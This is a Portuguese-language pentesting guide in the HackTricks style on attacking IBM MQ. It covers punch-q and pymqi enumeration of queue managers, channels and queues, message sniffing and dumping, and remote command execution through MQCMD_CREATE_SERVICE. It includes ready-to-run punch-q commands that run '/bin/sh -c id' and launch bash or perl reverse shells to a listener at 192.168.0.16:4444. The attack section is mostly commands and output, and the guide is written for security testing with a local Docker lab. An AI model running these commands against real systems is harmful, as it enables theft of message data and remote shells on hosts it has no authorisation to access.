1414 - Pentesting IBM MQ

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Informações básicas

O IBM MQ é uma tecnologia da IBM para gerenciar filas de mensagens. Como outras tecnologias de corretor de mensagens, é dedicado a receber, armazenar, processar e classificar informações entre produtores e consumidores.

Por padrão, expõe a porta TCP IBM MQ 1414. Às vezes, a API REST HTTP pode ser exposta na porta 9443. As métricas (Prometheus) também podem ser acessadas na porta TCP 9157.

A porta TCP IBM MQ 1414 pode ser usada para manipular mensagens, filas, canais, ... mas também para controlar a instância.

A IBM fornece uma extensa documentação técnica disponível em https://www.ibm.com/docs/en/ibm-mq.

Ferramentas

Uma ferramenta sugerida para exploração fácil é o punch-q, com uso do Docker. A ferramenta está ativamente usando a biblioteca Python pymqi.

Para uma abordagem mais manual, use a biblioteca Python pymqi. São necessárias dependências do IBM MQ.

Instalando pymqi

Dependências do IBM MQ precisam ser instaladas e carregadas:

  1. Crie uma conta (IBMid) em https://login.ibm.com/.

  2. Descompacte (tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz).

  3. Execute sudo ./mqlicense.sh para aceitar os termos de licença.

Se estiver no Kali Linux, modifique o arquivo mqlicense.sh: remova/comente as seguintes linhas (entre as linhas 105-110):

if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ]
 then
   echo "ERROR: This package is incompatible with this system"
   echo "       This package was built for ${BUILD_PLATFORM}"
   exit 1
fi
  1. Instale esses pacotes:

sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm
  1. Em seguida, adicione temporariamente os arquivos .so ao LD: export LD_LIBRARY_PATH=/opt/mqm/lib64, antes de executar outras ferramentas que utilizem essas dependências.

Em seguida, você pode clonar o projeto pymqi: ele contém trechos de código interessantes, constantes, ... Ou você pode instalar a biblioteca diretamente com: pip install pymqi.

Usando punch-q

Com Docker

Simplesmente use: sudo docker run --rm -ti leonjza/punch-q.

Sem Docker

Clone o projeto punch-q e siga o readme para instalação (pip install -r requirements.txt && python3 setup.py install).

Depois, pode ser usado com o comando punch-q.

Enumeração

Você pode tentar enumerar o nome do gerenciador de filas, os usuários, os canais e as filas com punch-q ou pymqi.

Gerenciador de Filas

Às vezes, não há proteção contra a obtenção do nome do Gerenciador de Filas:

 sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name
Queue Manager name: MYQUEUEMGR

Canais

punch-q está usando uma lista de palavras interna (modificável) para encontrar canais existentes. Exemplo de uso:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels
"DEV.ADMIN.SVRCONN" exists and was authorised.
"SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised.
"SYSTEM.DEF.SVRCONN" might exist, but user was not authorised.

Acontece que algumas instâncias do IBM MQ aceitam solicitações MQ não autenticadas, então --username / --password não é necessário. Claro, os direitos de acesso também podem variar.

Assim que obtermos um nome de canal (aqui: DEV.ADMIN.SVRCONN), podemos enumerar todos os outros canais.

A enumeração pode basicamente ser feita com este trecho de código code/examples/dis_channels.py do pymqi:

import logging
import pymqi

logging.basicConfig(level=logging.INFO)

queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'

prefix = '*'

args = {pymqi.CMQCFC.MQCACH_CHANNEL_NAME: prefix}

qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)

try:
response = pcf.MQCMD_INQUIRE_CHANNEL(args)
except pymqi.MQMIError as e:
if e.comp == pymqi.CMQC.MQCC_FAILED and e.reason == pymqi.CMQC.MQRC_UNKNOWN_OBJECT_NAME:
logging.info('No channels matched prefix `%s`' % prefix)
else:
raise
else:
for channel_info in response:
channel_name = channel_info[pymqi.CMQCFC.MQCACH_CHANNEL_NAME]
logging.info('Found channel `%s`' % channel_name)

qmgr.disconnect()

... Mas punch-q também incorpora essa parte (com mais informações!). Pode ser lançado com:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*'
Showing channels with prefix: "*"...

| Name                 | Type              | MCA UID | Conn Name | Xmit Queue | Description     | SSL Cipher |
|----------------------|-------------------|---------|-----------|------------|-----------------|------------|
| DEV.ADMIN.SVRCONN    | Server-connection |         |           |            |                 |            |
| DEV.APP.SVRCONN      | Server-connection | app     |           |            |                 |            |
| SYSTEM.AUTO.RECEIVER | Receiver          |         |           |            | Auto-defined by |            |
| SYSTEM.AUTO.SVRCONN  | Server-connection |         |           |            | Auto-defined by |            |
| SYSTEM.DEF.AMQP      | AMQP              |         |           |            |                 |            |
| SYSTEM.DEF.CLUSRCVR  | Cluster-receiver  |         |           |            |                 |            |
| SYSTEM.DEF.CLUSSDR   | Cluster-sender    |         |           |            |                 |            |
| SYSTEM.DEF.RECEIVER  | Receiver          |         |           |            |                 |            |
| SYSTEM.DEF.REQUESTER | Requester         |         |           |            |                 |            |
| SYSTEM.DEF.SENDER    | Sender            |         |           |            |                 |            |
| SYSTEM.DEF.SERVER    | Server            |         |           |            |                 |            |
| SYSTEM.DEF.SVRCONN   | Server-connection |         |           |            |                 |            |
| SYSTEM.DEF.CLNTCONN  | Client-connection |         |           |            |                 |            |

Filas

Existe um trecho de código com pymqi (dis_queues.py), mas o punch-q permite recuperar mais informações sobre as filas:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*'
Showing queues with prefix: "*"...
| Created   | Name                 | Type   | Usage   | Depth  | Rmt. QM | Rmt. Qu | Description                       |
|           |                      |        |         |        | GR Name | eue Nam |                                   |
|           |                      |        |         |        |         | e       |                                   |
|-----------|----------------------|--------|---------|--------|---------|---------|-----------------------------------|
| 2023-10-1 | DEV.DEAD.LETTER.QUEU | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 | E                    |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.1          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.2          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.3          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
# Truncated

Exploração

Extrair mensagens

Você pode direcionar fila(s)/canal(is) para farejar/extrair mensagens deles (operação não destrutiva). Exemplos:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump

Não hesite em iterar em todas as filas identificadas.

Execução de código

Alguns detalhes antes de continuar: O IBM MQ pode ser controlado de várias maneiras: MQSC, PCF, Comando de Controle. Algumas listas gerais podem ser encontradas na documentação do IBM MQ. PCF (Formatos de Comando Programáveis) é no que estamos focados para interagir remotamente com a instância. punch-q e ainda pymqi são baseados em interações PCF.

Você pode encontrar uma lista de comandos PCF:

Um comando interessante é MQCMD_CREATE_SERVICE e sua documentação está disponível aqui. Ele recebe como argumento um StartCommand apontando para um programa local na instância (exemplo: /bin/sh).

Também há um aviso sobre o comando na documentação: "Atenção: Este comando permite que um usuário execute um comando arbitrário com autoridade mqm. Se concedidos direitos para usar este comando, um usuário malicioso ou descuidado poderia definir um serviço que danifica seus sistemas ou dados, por exemplo, excluindo arquivos essenciais."

Nota: sempre de acordo com a documentação do IBM MQ (Referência de Administração), também há um endpoint HTTP em /admin/action/qmgr/{qmgrName}/mqsc para executar o comando MQSC equivalente à criação de serviço (DEFINE SERVICE). Este aspecto ainda não está coberto aqui.

A criação / exclusão de serviço com PCF para execução remota de programa pode ser feita pelo punch-q:

Exemplo 1

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id"

Nos logs do IBM MQ, você pode ler que o comando foi executado com sucesso:

2023-10-10T19:13:01.713Z AMQ5030I: O comando '808544aa7fc94c48' foi iniciado. ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)]

Você também pode enumerar os programas existentes na máquina (aqui /bin/doesnotexist ... não existe):

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg
s "whatever"
Command: /bin/doesnotexist
Arguments: -c id
Service Name: 6e3ef5af652b4436

Creating service...
Starting service...
The program '/bin/doesnotexist' is not available on the remote system.
Giving the service 0 second(s) to live...
Cleaning up service...
Done

Esteja ciente de que o lançamento do programa é assíncrono. Portanto, você precisa de um segundo item para aproveitar a exploração (ouvinte para shell reverso, criação de arquivo em serviço diferente, exfiltração de dados através da rede ...)

Exemplo 2

Para um shell reverso fácil, punch-q propõe também dois payloads de shell reverso:

  • Um com bash

  • Um com perl

Claro que você pode construir um personalizado com o comando execute.

Para bash:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444

Para perl:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444

PCF Personalizado

Você pode consultar a documentação do IBM MQ e usar diretamente a biblioteca pymqi em Python para testar comandos PCF específicos não implementados no punch-q.

Exemplo:

import pymqi

queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'

qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)

try:
# Replace here with your custom PCF args and command
# The constants can be found in pymqi/code/pymqi/CMQCFC.py
args = {pymqi.CMQCFC.xxxxx: "value"}
response = pcf.MQCMD_CUSTOM_COMMAND(args)
except pymqi.MQMIError as e:
print("Error")
else:
# Process response

qmgr.disconnect()

Se não conseguir encontrar os nomes das constantes, você pode consultar a documentação do IBM MQ.

Exemplo para MQCMD_REFRESH_CLUSTER (Decimal = 73). Ele precisa do parâmetro MQCA_CLUSTER_NAME (Decimal = 2029) que pode ser * (Doc: ):

import pymqi

queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'

qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)

try:
    args = {2029: "*"}
    response = pcf.MQCMD_REFRESH_CLUSTER(args)
except pymqi.MQMIError as e:
    print("Erro")
else:
    print(response)

qmgr.disconnect()

Ambiente de Teste

Se deseja testar o comportamento e exploits do IBM MQ, você pode configurar um ambiente local com base no Docker:

  1. Ter uma conta em ibm.com e cloud.ibm.com.

  2. Criar um IBM MQ em container com:

sudo docker pull icr.io/ibm-messaging/mq:9.3.2.0-r2
sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:9.3.2.0-r2

Por padrão, a autenticação está habilitada, o nome de usuário é admin e a senha é passw0rd (Variável de ambiente MQ_ADMIN_PASSWORD). Aqui, o nome do gerenciador de filas foi definido como MYQUEUEMGR (variável MQ_QMGR_NAME).

Você deve ter o IBM MQ em execução com suas portas expostas:

 sudo docker ps
CONTAINER ID   IMAGE                                COMMAND                  CREATED         STATUS                    PORTS                                                                    NAMES
58ead165e2fd   icr.io/ibm-messaging/mq:9.3.2.0-r2   "runmqdevserver"         3 seconds ago   Up 3 seconds              0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp   testing-ibmmq

A versão antiga das imagens do Docker do IBM MQ está em: https://hub.docker.com/r/ibmcom/mq/.

Referências

Last updated